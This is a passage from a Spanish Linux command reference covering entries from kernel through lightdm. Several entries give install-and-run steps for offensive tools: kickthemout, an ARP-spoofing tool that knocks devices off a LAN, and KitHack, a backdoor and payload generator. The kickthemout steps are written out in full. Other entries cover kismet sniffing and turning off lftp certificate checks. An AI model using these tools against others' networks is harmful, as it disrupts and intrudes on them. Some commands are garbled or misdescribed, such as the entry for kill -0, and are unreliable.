Para el ejemplo descargaremos el kernel 3.3.6 para la versión de ubuntu 12.04 [<http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.3.6-precise/>] para la arquitectura amd64. De los varios archivos que encontramos en la página, para lo que nos ocupa, solo interesan los linux-headers y linux-image.

```
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.3.6-precise/linux-headers-3.3.6-030306_3.3.6-030306.201205121335_all.deb
```

```
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.3.6-precise/linux-headers-3.3.6-030306-generic_3.3.6-030306.201205121335_amd64.deb
```

```
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.3.6-precise/linux-image-3.3.6-030306-generic_3.3.6-030306.201205121335_amd64.deb
```

La instalación se realiza en el mismo orden de descarga:

```
# gdebi linux-headers-3.3.6-030306_3.3.6-030306.201205121335_all.deb
```

```
# gdebi linux-headers-3.3.6-030306-generic_3.3.6-030306.201205121335_amd64.deb
```

```
# gdebi linux-image-3.3.6-030306-generic_3.3.6-030306.201205121335_amd64.deb
```

Después de la instalación del kernel, instalar los drivers privativos tipo nvidia o ati. Y actualizar grub:

```
# update-grub
```

3.-

```
[libncurses5 libncurses5-dev]
```

Compilar el kernel desde el código fuente. Puede ser útil para habilitar soporte para algún nuevo periférico no soportado por el kernel por defecto. Escoger la última versión del núcleo estable de kernel.org. Para el ejemplo usaremos la 3.9.11.

```
# cd /usr/src
```

```
# wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.9.11.tar.gz
```

```
# tar -zxvf linux-3.9.11.tar.gz
```

```
# cd linux-3.9.11
```

```
# make menuconfig/
```

Mostrará las opciones de configuración por defecto que podrán ser modificadas para nuestra máquina específica. Una vez terminado, "guardar" como .config

```
# make
Compilar
```

```
# make modules_install
Instalar los módulos
```

```
# make install
Instalar el nuevo kernel en el sistema
```

La instalación ya modifica el grub.cfg para que el sistema arranque con el nuevo kernel. Si este da problemas puede escogerse para el arranque el antiguo que constará en el menú de Grub. Puede verificarse el nuevo kernel con:

```
$ uname -r
```

4.-

Borrar kernels antiguos de forma automática:

```
# apt-get purge $(dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\.(\.*)")" -\([^\0-9]\+\)/\1/"'"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | head -n -1) --assume-yes
```

## kernel-install

Se usa para instalar o eliminar imágenes del kernel en initrd hacia y desde la partición del cargador de arranque, denominado \$BOOT. Por lo general, será /boot/, /efi/ o /boot/efi/. Kernel-Install ejecutará los archivos ejecutables [plugins] ubicados en el directorio /usr/lib/kernel/install.d/ y el directorio de administración local /etc/kernel/install.d/. Todos los archivos se clasifican y ejecutan colectivamente en orden léxico, independientemente del directorio en el que estén. Los archivos de /etc/kernel/install.d/ tienen prioridad sobre archivos con el mismo nombre en /usr/lib/kernel/install.d/. Esto se puede usar para anular un sistema suministrado con un archivo local si es necesario, con un enlace simbólico en /etc/kernel/install.d/ con el mismo nombre que un ejecutable de /usr/lib/kernel/install.d/, señalando a /dev/null, deshabilita completamente el ejecutable. Los ejecutables deben tener la extensión ".install"; Se ignoran otras extensiones. Un ejecutable colocado en estos directorios debería devolver 0 en caso de éxito. También puede devolver 77 para provocar que finalice toda la operación (se omitirán los ejecutables posteriores en orden léxico). Para ver versiones del kernel instaladas:

```
$ ls /usr/lib/modules/
```

## kerneltop

muestra el uso del kernel en estilo interactivo como top [ver]

```
# kerneltop -l 45 -s 5
Que muestre 45 líneas [por defecto 50] y actualización cada 5 segundos [por defecto 1]
```

## kesty-whatsapp

Aplicación de whatsapp para pc. La instalación es via snap [ver] y los comandos que se aplican a kesty-whatsapp son los genericos de snap, por tanto lo primero es instalar snap:

```
$ apt install snapd
$ snap install kesty-whatsapp
$ snap run kesty-whatsapp
arrancar kesty-whatsapp. Pide ingresar el código QT en el móvil para activar la aplicación
```

## keyctl

[keyutils]. Este programa se utiliza para controlar la instalación de administración de claves de varias maneras usando una variedad de subcomandos.

```
$ keyctl list @us
Enumerar las claves actuales en la sesión predeterminada del usuario

$ keyctl show

$ keyctl read 898972716
Leer una clave de la salida anterior y formatearla en hexadecimal si no se puede imprimir

$ keyctl pipe 898972716
Leer una clave y formatearla tal como está

$ keyctl session

$ keyctl
muestra la gran variedad de subcomandos que pueden emplearse
```

## kickpass

Forma simple de crear contraseñas seguras

```
# kickpass init
inicia un nuevo directorio seguro de contraseña. Predeterminado a ~/.kickpass

# kickpass create palabra
Crea una nueva contraseña segura

# kickpass open palabra
Abrir una contraseña segura e imprimir su contenido en stdout

# kickpass list
lista contraseñas disponibles

# kickpass delete palabra
Eliminar contraseña

# kickpass rename antigua nueva
Cambiar el nombre de una contraseña
```

## kickthemout

[nmap]. Herramienta que usa el envenenamiento ARP o ARP Spoofing que mata la conectividad a Internet del o los dispositivos conectados a una red de área local, siempre que la configuración de seguridad de la red no impida dichos ataques.

Descarga y requerimientos:

```
$ git clone https://github.com/k4m4/kickthemout.git
```

```
$ cd kickthemout/
```

```
$ sudo -H python -m pip install -r requirements.txt
```

```
$ sudo python kickthemout.py
```

Al lanzar la aplicación:

```
# python kickthemout.py
```

Muestra 3 posibilidades, matar uno, varios o todos los dispositivos y el bloqueo dura mientras el comando está en ejecución por tanto el bloqueo es temporal.

## kill

Enviar señales a los procesos.

```
$ kill -l
lista todas las señales que pueden mandarse a un proceso
```

```
$ kill -0
mata todos los procesos de la shell
```

```
$ kill -9 pid
mata el proceso indicado con el número PID
```

```
# kill -9 `lsof -t -i :22`
Mata el proceso que corre en el puerto 22
```

```
$ kill -1 pid
reinicia el servicio indicado en PID
```

```
$ kill %2
mata el proceso número 2
```

```
$ kill -19 pid
Parar un proceso de forma temporal. Con -18 se reanuda
```

Algunas muestras del número y su equivalencia:

2 SIGINT (Interrumpido desde el teclado [igual que Ctrl+c])

3 SIGQUIT (Cerrado desde el teclado [igual que Ctrl+\])

9 SIGKILL (forzar que uno o varios procesos terminen de forma inmediata)

18 SIGCONT (Reanudar un proceso parado)

19 SIGSTOP (suspender un proceso)

20 SIGTSTP (Parar un proceso desde terminal [igual que Ctrl+z])

Nota.- Si en vez de usar los números [kill -9 pid] usamos el nombre de la señal [kill -KILL pid] podemos omitir las letras SIG de la señal [SIGKILL]

## killall

Mata el proceso de la aplicación especificada

```
$ killall -9 scribus
```

```
$ killall gnome-panel
reiniciar los paneles
```

```
$ killall -INFO dd
chequear el estado de un proceso dd
```

```
$ killall -u usuario
Matar los procesos de un usuario
```

```
$ killall -l
listado de todas las señales
```

```
$ killall -s SEGV
```

## kippo

[python-foolscap pycrypto python2-zope-interface twisted python2-pyopenssl python-foolscap python2-pyasn1]. Construir un honeypot por ssh.

Descargar y desempaquetar kippo:

```
$ wget https://kippo.googlecode.com/files/kippo-0.5.tar.gz
```

```
$ tar xzf kippo-0.5.tar.gz
```

```
$ cd kippo-0.5
```

```
$ ./start.sh
```

Configuración de iptables:

```
# iptables -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPT
```

```
# iptables -A INPUT -i eth0 -p tcp --dport 2222 -j ACCEPT
```

```
# iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 22 -j REDIRECT --to-port 2222
```

Los intentos de acceso ssh quedan registrados en el subdirectorio log:

```
$ cd kippo-0.5/log
```

```
$ tail -f kippo.log
```

## kismet

Identifica redes inalámbricas de forma pasiva recolectando paquetes, detecta redes ocultas, clientes asociados y es capaz de sniffar el tráfico de las redes no encriptadas.

```
# nano /etc/kismet/kismet.conf
```

Buscar la línea: `source=none,none,addme`

Y sustituirla por: `source=ath5k,eth1,wifi`

en la que ath5k es el driver que usamos, eth1 la interfaz de red y wifi cualquier nombre.

También en este archivo pueden configurarse otros parámetros (Puerto, host permitido, máximo de clientes, logs...) :

```
tcpport=2501
allowedhosts=127.0.0.1
maxclients=5
```

```
logtemplate=/var/log/kismet/
```

En el directorio de logs, los archivos que interesan son los .pcap que pueden visionarse con wireshark.

```
# kismet
```

```
lanzar la aplicación
```

## kithack

[python2.7 python-pip]. Es un proyecto de código abierto que contiene 130 herramientas enfocadas al hacking y automatiza el proceso de descarga e instalación para la herramienta que usted desee. KitHack también nos brinda la facilidad de poder generar puertas traseras con diferentes tipos de Payloads tanto para Linux, Windows, Android y MAC OS.

Instalación:

```
$ git clone https://github.com/AdrMXR/KitHack.git
```

```
$ cd KitHack
```

```
$ ./install.sh
```

```
# python KitHack.py
```

## kitty

Emulador de terminal.

Algunas combinaciones de teclas:

C+S+t Crear una pestaña nueva.

C+S+q Cerrar una pestaña.

C+S+ Pestaña siguiente.

C+S+ Pestaña anterior.

C+S+. Mover a la derecha la pestaña.

C+S+, Mover a la izquierda la pestaña.

C+S+enter Nueva ventana.

C+S+n Crear marco nuevo.

C+S+1 Mover foco a la ventana 1 (2,3,...)

C+S+l Cambiar la distribución de las ventanas

La distribución de ventanas puede ser:

Fat: Ventana arriba ocupando todo el ancho y las demás abajo una al lado de la otra.

Grid: Todas las ventanas en una rejilla repartiendo el espacio entre todas.

Horizontal: Todas las ventanas unas al lado de las otras.

Stack: Las ventanas ocupando todo el marco.

Tall: Ventana en la izquierda ocupando todo el alto y el resto a la derecha una encima de otra.

Vertical: Ventanas todas apiladas unas encima de otras.

## kmod

Mostrar módulos del kernel.

```
# kmod list
```

## knockd

El port knocking o golpeo de puertos es un mecanismo mediante la cual el cortafuegos, que mantiene cerrado un determinado puerto, detecta una secuencia preestablecida que procede de una conexión externa y abre dicho puerto para que el servicio asignado sea accesible. Este mecanismo permite añadir una capa adicional de seguridad [por oscuridad], de manera que para cualquier conexión externa no autorizada los puertos donde se brindan los servicios se muestran como cerrados, eliminando así la posibilidad de intentar la conexión y no ofreciendo información sobre el servicio configurado. Por su parte, el usuario autorizado necesita disponer de un cliente de port-knocking que envíe una secuencia de paquetes dirigidos a dicho puerto, con el fin de que el cortafuegos detecte la secuencia correcta y abra el puerto dejando accesible el servicio. Una vez desactivada esta capa de seguridad, el servicio está accesible para realizar la conexión [por ejemplo SSH]. La aplicación precisa estar instalada en el servidor y en el cliente.

Habilitar el servicio y especificar la red:

```
# nano /etc/default/knockd
```

```
START_KNOCKD=1
KNOCKD_OPTS="-i eth0"
Configurar las opciones de logging y las secuencias que queremos usar:
```

```
# nano /etc/knockd.conf
```

```
[options]
    UseSyslog
[openSSH]
    sequence      = 7000,8000,9000
    seq_timeout   = 5
    command       = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags      = syn
[closeSSH]
    sequence      = 9000,8000,7000
    seq_timeout   = 5
    command       = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags      = syn
* UseSyslog (que envía los logs a /var/log/syslog. Si se desea un fichero de log propio, se
  utiliza LogFile=/var/log/knockd.log)
```

\* sequence (especifica la secuencia de puertos y tipo de paquete a enviar para hacer el portknocking (por defecto TCP, pero se puede especificar una secuencia más compleja como sequence=2140:udp,4500:tcp,3025:udp)

\* seq\_timeout (especifica el periodo máximo de tiempo en segundos en el que la secuencia completa es recibida como secuencia válida)

\* tcpflags (especifica los flags que deben ser tenidos en cuenta (fin|syn|rst|psh|ack|urg)).

\* command (especifica el comando a ejecutar cuando se reconoce la secuencia definida)

\* %IP% (toma del valor de la ip cliente desde la que se envía la secuencia de puertos)

Con esta configuración, el servidor knockd escucha permanentemente todos los puertos, esperando una secuencia válida. Si recibe paquetes TCP dirigidos a los puertos 7000, 8000 y 9000, en este mismo orden y dentro de un intervalo de 5 segundos, reconoce la directiva [openSSH] y ejecuta iptables para abrir el puerto 22 [donde escucha sshd] a la IP que solicita la conexión. Ahora el cliente SSH puede realizar la conexión, y podemos cerrar el puerto de nuevo con la directiva [closeSSH] manteniendo establecida dicha conexión.

```
# service knockd start
Iniciar el servicio
```

Probar el servicio en local:

Parar knockd si está activo y levantarlo manualmente:

```
# service knockd stop
```

```
# knockd -v -i lo
```

En otra terminal:

```
$ knock -v localhost 7000 8000 9000
```

Cuando queramos terminar la conexión:



## K

```
$ knock -v localhost 9000 8000 7000
```

En la terminal del servidor veremos algo como:

```
# knockd -v -i lo
```

```
listening on lo...
127.0.0.1: openSSH: Stage 1
127.0.0.1: openSSH: Stage 2
127.0.0.1: openSSH: Stage 3
127.0.0.1: openSSH: OPEN SESAME
openSSH: running command: /sbin/iptables -A INPUT -s 127.0.0.1 -p tcp --dport 22 -j ACCEPT
127.0.0.1: closeSSH: Stage 1
127.0.0.1: closeSSH: Stage 2
127.0.0.1: closeSSH: Stage 3
127.0.0.1: closeSSH: OPEN SESAME
closeSSH: running command: /sbin/iptables -D INPUT -s 127.0.0.1 -p tcp --dport 22 -j
ACCEPT
```

Si en la configuración de iptables tenemos acceso a conexiones ya establecidas:

```
iptables -A INPUT -p tcp -m tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
Podemos configurar la aplicación para que se cierre de forma automática:
```

```
# nano /etc/knockd.conf
```

```
[opencloseSSH]
sequence = 7000,8000,9000
seq_timeout = 5
tcpflags = syn
start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
cmd_timeout = 25
stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
```

## knocker

Para detectar sistemas operativos y revisar puertos de servidores remotos.

```
# knocker -H IP_o_host -SP 1 -EP 1024
```

-SP (Indica el puerto de inicio del escaneo)

-EP (Indica el puerto final)

## komichi

Navegador minimalista escrito en python y pyqt4 con soporte para pestañas, flash y atajos de teclado . Descarga de [http://es.sourceforge.jp/projects/sfnet\\_komichi/releases/](http://es.sourceforge.jp/projects/sfnet_komichi/releases/)

Algunos atajos:

Ctrl + t (Nueva pestaña)

Ctrl + b (Marcadores)

Alt + p (Configuracion [pagina de inicio, javascript, plugins...])

F1 (Abrir archivo README)

Ctrl + Mayus + t (Abrir ultima pestaña cerrada)

F5 (Recargar pagina)

Ctrl + o (Abrir)

Ctrl + k (Buscar)

Ctrl + l (Entrar url)

Ctrl + s (Guardar la pagina)

## K

---

Ctrl + f (Buscar en la pagina)

Ctrl + g (siguiente entrada de la busqueda)

Ctrl + + (Aumentar zoom)

Ctrl + - (Disminuir zoom)

Ctrl+ 0 (Visualizacion por defecto)

Ctrl + h (History)

Ctrl + Mayus + del (Borrar history)

Ctrl + Mayus + n (Entrar en modo privado)

Ctrl + d (Entrar pagina en los marcadores)

## kvm-ok

[check-bios-nx]. Comprobar si la CPU tiene soporte para extensiones KVM.

```
# kvm-ok
```

INFO: Your CPU does not support KVM extensions

KVM acceleration can NOT be used

## kwin

[kde-window-manager]. Gestor de ventanas

```
$ kwin --replace
```

```
Activar kwin
```

---

## L

---

### lame

Cambiar formatos de audio

```
$ lame -h -m j tema.wav tema.mp3
Pasar de wav a mp3
```

```
$ lame -h -m j --nogap *.wav
Pasar lote de wav a mp3
```

```
$ lame -h --decode tema.mp3 tema.wav
Pasar de mp3 a wav
```

```
$ for i in *.mp3; do lame -q 0 -b 160 -m j "$i" "directorio/$i"; done (Modificar el bitrate
-b 160) de todos los mp3 de directorio
```

-q 0      Opciones de 0 a 9. A menor calidad, mayor velocidad de conversión.

-m j      Activar joint stereo.

### laptop-detect

Detecta si nos encontramos en un portatil. Retorna "0" si lo más probable es que si, "1" si probablemente es que no y "2" si es una opción desconocida.

```
$ laptot-detect -v
```

### last

Muestra la ultima vez que se conecto un usuario [/var/log/wtmp].

```
$ last -n 10
Muestra los últimos 10 eventos.
```

```
$ last reboot
la última vez que se reinició
```

```
$ last -i
Mostrando la ip
```

```
$ last tty1
que lo hizo a la tty1
```

```
$ last usuario
que se conectó usuario
```

```
$ last -f /media/sda2/var/log/wtmp
Analizar el acceso de otro sistema
```

## lastb

Muestra los intentos de conexión fallidos (/var/log/btmp)

```
# lastb -20
Muestra los últimos 20 intentos fallidos en logearse
```

## lastcomm

[acct]]. Muestra información acerca de comandos ejecutados y terminales abiertas.

```
$ lastcomm tmux tty1
sólo muestra los especificados
```

```
$ lastcomm root
Del usuario root
```

## lastlog

Ver el momento exacto que los usuarios han entrado por última vez

```
$ lastlog -u usuario
solo ver a "usuario"
```

## latex

[texlive texlive-lang-spanish]. Sistema de composición de textos, orientado especialmente a la creación de libros, documentos científicos y técnicos que contengan fórmulas matemáticas. La elaboración del documento requiere normalmente de dos etapas: en la primera hay que crear mediante cualquier editor de texto llano un fichero fuente que, con las órdenes y comandos adecuados, contenga el texto que queramos imprimir. La segunda consiste en procesar este fichero; el procesador de textos interpreta las órdenes escritas en él y compila el documento, dejándolo preparado para que pueda ser enviado a la salida correspondiente. LaTeX ofrece siempre la misma salida, con independencia del dispositivo (impresora, pantalla, etc.) o el sistema operativo (MS Windows, MacOS, Unix, GNU/Linux, etc.) y puede ser exportado a partir de una misma fuente a numerosos formatos [Ps, PDF, SGML, HTML, RTF, etc.]. Otra ventaja de LaTeX es que calcula la cantidad óptima de caracteres por línea para optimizar la lectura, 66 por defecto. Existen miles de instrucciones. Aquí una pequeña muestra para no morir en el intento.

A continuación una estructura elemental de un documento:

Los comentarios van precedidos por el signo de porcentaje [%]

La primera línea puede especificar el papel [A4], tamaño de la letra [10pt, 11pt, 12pt], tipo de texto [article, report, book, letter, slides...], cantidad de columnas [twocolumn]:

```
\documentclass[a4paper, 12pt]{article}
\documentclass[12pt,twocolumn]{report}
Activar el soporte Unicode [para diéresis, eñes...]
```

```
\usepackage[utf8]{inputenc}
\usepackage[spanish]{babel}
Especificar título, autor, fecha. "date", si no se especifica, pone la fecha actual:
```

```
\title{Lorem Ipsum}
\author{La Pipa Plena}
\date{ }
El cuerpo del documento se inicia con \maketitle
```

Inicio y final de texto. Entre párrafos ha de dejarse una línea en blanco. El primer párrafo de una subsección, sección o capítulo no está sangrado, pero los restantes sí.:

```

\begin{document}
Est et quia non voluptatum. Aspernatur facilis excepturi aut. Voluptatem perspiciatis id
cum ab nostrum. Qui rerum nisi vitae quae. Quam consequatur eaque minima ipsum
distinctio.
\end{document}

```

Secciones y subsecciones del texto:

```

\section{Introducción}
\section{Historia}
\subsection{Historia inicios}
\subsection{Historia continuación}

```

Formatos de texto:

```

\textbf{texto en negrita}
\emph{destaca el texto}
\textit{texto en cursiva}
\underline{texto subrayado}
\textsc{texto en versalita}

```

Tamaño de la letra. Estos comandos afectan a todo el texto que les sigue mientras no se modifique nuevamente y sin necesidad de encerrarlo entre llaves. De más pequeña a más grande: tiny, scriptsize, footnotesize, small, normalsize (la normal), large, Large, LARGE, huge, Huge

Centrar un párrafo:

```

\begin{center}
Est et quia non voluptatum. Aspernatur facilis excepturi aut. Voluptatem perspiciatis id
cum ab nostrum. Qui rerum nisi vitae quae. Quam consequatur eaque minima ipsum
distinctio.
\end{center}

```

alinear texto:

```

\centering {Texto a centrar}
\raggedleft {Texto a la derecha}
\raggedright {Texto a la izquierda}

```

Colocar código:

```

\begin{verbatim}
trozo de código
\end{verbatim}

```

Para confeccionar un documento en latex puede usarse cualquier editor [vim, nano, gedit...] y para convertirlo a pdf compilarlo con:

```
$ pdflatex texto.tex
```

También podemos visualizar directamente el .dvi con la aplicación evince o usar gummi que, al tener la pantalla dividida en dos partes, permite crear el documento y visualizarlo en tiempo real.

## latex2html

C convierte un archivo latex a formato html. Crea un directorio con el mismo nombre del archivo.

```
$ latex2html archivo.tex
```

```
$ latex2html -dir DIR archivo.tex
```

Crearé los archivos html en el directorio especificado [tiene que existir]

```
$ latex2html -html_version 4.0,latin1,unicode archivo.tex
```

Para que respete acentos

## lazygal

Generar una galería web.

```
$ lazygal directorio_con_las_imagenes
```

Crearé todos los archivos en el presente directorio por lo que es preferible estar en un directorio vacío

```
$ lazygal -o /var/www/ /home/usuario/fotos
```

Lo creará en la carpeta web a partir del directorio fotos

## lckdo

[moreutils]. Bloquea la ejecución de un programa con el fin de evitar que otros procesos se ejecuten en paralelo. Se utiliza como nice [ver] y nohup [ver]

## ld-linux

Librería que permite ejecutar binarios del sistema sin permiso de ejecución siempre que tengan activado el permiso de lectura. Según se trate de 32 bits o 64, la librería será: /lib/ld-linux.so.2 o /lib64/ld-linux-x86-64.so.2. Solo funciona con binarios no con scripts.

```
# chmod -x /bin/ls
# ls
bash: /bin/ls: permiso denegado
# /lib64/ld-linux-x86-64.so.2 /bin/ls
a.jpg b.jpg captures guia-sed.pdf ...
```

## ldconfig

Se utiliza para crear, actualizar y eliminar enlaces simbólicos para las bibliotecas compartidas actuales basándose en los directorios de bibliotecas presentes en el directorio /etc/ld.so.conf

```
# ldconfig -p
Cantidad de directorios y bibliotecas que están almacenadas en la cache /etc/ld.so.cache y los
enumera a continuación
```

```
# ldconfig -v
Escanea todos los directorios e imprime el nombre del directorio y todos los enlaces que se crean
bajo él
```

## ldd

Para conocer las librerías compartidas que usa una aplicación.

```
$ ldd /usr/bin/amarok
```

## leafpad

Editor tipo gedit.

Configuración de parámetros:

```
$ nano .config/leafpad/leafpadrc
```

```
0.8.18.1
1215 (Ancho)
363 (Alto)
Monospace 12 (Fuente y medida)
1 (Ajustar / desajustar líneas al ancho de la ventana [0 o 1])
0 (Mostrar / esconder número de línea [0 o 1])
0
```

Atajos:

```
Ctrl-n (Documento nuevo)
Ctrl-o (Abrir)
Ctrl-s (Guardar)
Shift-Ctrl-s (Guardar como)
Ctrl-w (Cerrar documento)
Ctrl-p (Imprimir)
Ctrl-q (Salir)
Ctrl-z (Borrar última palabra escrita)
Ctrl-y (Deshacer "borrar última palabra")
Ctrl-x (Cortar)
Ctrl-c (Copiar)
```

```

Ctrl-v (Pegar)
Ctrl-a (Seleccionar todo el texto)
Ctrl-f (Buscar en el texto)
Ctrl-g [F3] (Siguiente búsqueda)
Shift-Ctrl-g [Shift-F3] (Búsqueda anterior)
Ctrl-h [Ctrl-R] (Reemplazar palabras del texto por otras)
Ctrl-j (Saltar a la línea...)
Ctrl-t (Siempre en primer plano)

```

## less

Página para la visualización de un fichero.

```
$ cat /etc/apt/sources.list | less
```

```
$ less fichero
```

Atajos:

```

espacio (Avanzar un número de líneas igual al número de líneas de la pantalla)
enter (Avanzar de línea en línea)
y (Retroceder una línea)
G (Ir al final del texto)
g (Ir al inicio del texto)
/ (Ingresar palabra a ser buscada de la página actual al final del texto)
? (Ingresar palabra a ser buscada de la página actual al inicio del texto)
n (Ir a la siguiente coincidencia de búsqueda)
AvPág (Avanzar una pantalla de texto)
RePág (Retroceder una pantalla de texto)
v (Abrir lo que se visualiza con el editor. Por defecto vi)
h (Ayuda)
q (Salir del programa)

```

## lessfile

Programa que modifica la forma en que se muestra los contenidos de un archivo el comando `less`, lo que significa es que `less` podrá abrir automáticamente archivos `tar`, `tar.bz2`, `gzip`, `bz`, `7z`, `pdf`, `jar`, `deb`, `iso` e incluso mostrar características básicas de archivos gráficos tipo `.gif`, `.png`, `.jpg`, `.tif`, etc. Colocar en `~/.bashrc` una de las siguientes líneas:

```
eval "$(lessfile)"
```

```
eval "$(lesspipe)"
```

Actualizar el archivo:

```
$ source ~/.bashrc
```

Antes de actualizar `.bashrc` si se lanza.

```

$ less archivo.rar
mostrará caracteres raros

```

Después de actualizar `.bashrc` mostrará el contenido del archivo.

## lesspipe

Exactamente igual que `lessfile` [ver]

## let

Permite asignar el resultado de una expresión aritmética a una variable.

```
$ let a=4*3; echo $a
```

Ejemplo en un script:

```
#!/bin/bash
read -p "Dime dos número del 1 al 100: " NUM1 NUM2
let SUMA=$NUM1+$NUM2
echo "La suma de $NUM1 + $NUM2 es $SUMA"
let permite utilizar asignaciones:
```

```
incremento +=
decremento -=
mutiplicar por *=
dividir por /=
modulo por %=
incremento en 1 ++
decremento en 1 --
```

Ejemplo:

```
#!/bin/bash
let x=1
let x+=1
echo $x
```

## lf

lf ("list files") es un administrador de archivos escrito en Go. Está inspirado en gran medida por ranger [ver] con algunas características extra y algunas que faltan. Puede encontrarse en <<https://github.com/gokcehan/lf>>

## lfm

Administrador de archivos

```
$ lfm -l
arrancar con un solo panel
```

```
$ lfm -2
arrancar con dos [por defecto]
```

```
$ lfm /home/usuario/Documentos /media/sda2
Abrir en cada panel un directorio
```

Nota.- Pulsar q para cerrar

## lftp

Conexión ftp por linea de comandos.

```
$ lftp usuario@host
```

```
# lftp -help
Para obtener ayuda
```

```
# lftp -u usuario,clave ftp.dominio.com
Conectar con un servidor de FTP
```

Nota.- entrados en el directorio raiz del servidor ftp remoto el prompt adquiere un estilo:

```
# lftp usuario@ftp.dominio.com:~>
```

Algunas de las opciones que tenemos en el host remoto son las mismas que podemos emplear en bash:



## L

```
mkdir, mv, ls, rm, exit, cat, more, chmod, pwd...  
Algunas opciones específicas:
```

```
~> get archivo (Bajar un archivo del remoto al local)  
  
~> mget dir (Bajar un directorio del remoto al local)  
  
~> put archivo (Subir un archivo del local al remoto)  
  
~> mput dir (Subir un directorio del local al remoto)  
  
~> mirror dir (copiará el contenido de httdocs (remoto) a la carpeta donde estemos en local.  
  
~> help mirror (opciones de mirror)  
  
~> exit (salir del remoto)  
  
~> !ls (listará el directorio local)  
  
~> !mkdir dir (crear un directorio en local)  
  
~> !pwd (En qué directorio nos encontramos en local)  
  
1.-
```

Resolver la nota "Fatal error: Certificate verification: Not trusted" que informa que el cliente no puede verificar la autenticidad del certificado que esta ofreciendo el servidor. Se ignora el error con:

```
set ssl:verify-certificate no  
Para no tener que colocar la linea cada vez que nos conectamos, podemos crear el archivo ./lftp/  
rc i colocarla en él.
```

2.-

Para no entrar cada vez nombre de usuario ni contraseña y además tener un alias para la conexión [servidor], podemos crear el archivo ./lftp/bookmarks y colocar la linea:

```
servidor      ftp://USER:PASS@HOST  
La conexión se realizará con:
```

```
$ lftp servidor
```

## lha

Compresor/descompresor de archivos.

```
$ lha -a archivo.lha ficheros  
Comprimir
```

```
$ lha -x archivo.lha  
Descompimir
```

```
$ lha -v archivo.lha  
Ver el contenido
```

## libaa-bin

Biblioteca de gráficos artísticos ASCII. Comprende los ejecutables: aafire [ver], aainfo, aasavefont y aatest

```
$ aainfo
```

```
$ aatest
```

## libcap-ng-utils

Este paquete contiene utilidades para analizar y configurar las capacidades de los archivos. Incluye las aplicaciones: `captest`, `filecap`, `netcap` y `pscap` [imprimen un informe de las capacidades del proceso]

```
# netcap
# pscap
# captest
# filecap
```

## libnetcfg

Libnet es una API que ayuda con la construcción e inyección de paquetes de red de bajo nivel. La utilidad `libnetcfg` se puede utilizar para configurar libnet.

```
$ libnetcfg
```

## libpam-tmpdir

Muchos programas usan `$TMPDIR` para almacenar archivos temporales. No todos son buenos para asegurar los permisos de esos archivos. `libpam-tmpdir` establece `$TMPDIR` y `$TMP` para sesiones PAM y establece los permisos bastante estrictos. Esto ayuda a la seguridad del sistema al tener una capa adicional de seguridad, lo que hace que tales ataques de enlaces simbólicos y otros ataques basados en tmp sean más difíciles o imposibles. El módulo `pam_tmpdir`, invoca `pam-tmpdir-helper` para crear un directorio temporal seguro para el usuario que lo invoca. No es dañino llamarlo a mano, pero no dará ningún diagnóstico ni mensaje de error aparte de su valor de retorno. Se registra en syslog.

```
$ pam-tmpdir-helper
```

## libreoffice

[myspell-ca myspell-es]

Suite ofimática. Ver lo..

1.-

Cambiar de pantalla de inicio

```
$ wget http://gnome-look.org/CONTENT/content-files/140076-libreoffice_splash.tar.gz
$ tar -zxvf 140076-libreoffice_splash.tar.gz
# cp about.png intro.png /usr/lib/libreoffice/program/
```

En el archivo `readme.txt` se especifica el último paso:

Modificar el archivo `/etc/libreoffice/sofficerc` con siguientes parámetros:

```
[Bootstrap]
HideEula=1
Logo=1
NativeProgress=true
ProgressBarColor=78,158,1
ProgressFrameColor=45,45,45
ProgressPosition=60,277
ProgressSize=320,6
Atajos (write)
```

```
Ctrl+Inicio (Ir al inicio del documento)
Ctrl+Fin Ir al final del documento)
Ctrl+u (Subrayado)
Ctrl+i (cursiva)
Ctrl+b (negrita)
Ctrl+e (texto centrado)
Ctrl+l (texto alineado a la izquierda)
Ctrl+m (Formateado de fuente por defecto)
Ctrl+a (seleccionar todo el texto)
Ctrl+s (Guardar documento)
F7 (Ortografía y gramática)
```

## libwacom-list-local-devices

Utilidad para listar los dispositivos conectados e identificados por libwacom. libwacom es una biblioteca para identificar tabletas gráficas las características específicas de cada modelo. Facilita el acceso a información como si es una tableta integrada en la pantalla, cuál es el tamaño de este modelo, etc. Originalmente estaba diseñado sólo para dispositivos Wacom pero ahora soporta cualquier tableta gráfica de cualquier proveedor. . Normalmente se utiliza para comprobar si un archivo de datos libwacom es correcto, está presente y/o se aplica a un dispositivo específico.

```
$ libwacom-list-local-devices
```

## liferea

Lector RSS.

Atajos:

```
Ctrl + u (Actualizar todos los feeds)
Ctrl + r (Marcar feed como leído)
Ctrl + n (Ir al siguiente feed no leído)
u (Subir por los feeds)
d (Bajar por los feeds)
b (Moverse del feed a la noticias)
f (Bajar por las noticias)
Espacio (Abrir la noticia en el navegador)
```

## lightdm

Gestor de sesiones.

1.-

Suprimir la cuenta de invitado:

```
# nano /etc/lightdm/lightdm.conf
```

Añadir la línea:

```
allow-guest=false
```

```
# restart lightdm
Reiniciar servicio
```

2.-

Entrar de forma automática:

- Para versiones modernas:

Crear fichero /etc/lightdm/lightdm.conf.d/12-autologin.conf

```
# nano /etc/lightdm/lightdm.conf.d/12-autologin.conf
```

Insertar estas 3 líneas editando USUARIO por tu usuario:

```
[Seat:*)
```

```
autologin-user=USUARIO
```

```
autologin-user-timeout=0
```

- En versiones antiguas

```
# nano /etc/lightdm/lightdm.conf
```

```
autologin-user=USUARIO
```

```
autologin-user-timeout=0
```

3.-

Para modificar la sesión por defecto:

```
# nano /usr/share/xsessions/lightdm-xsession.desktop
```

Y colocar en la línea Exec el deseado:

```
[Desktop Entry]
Version=1.0
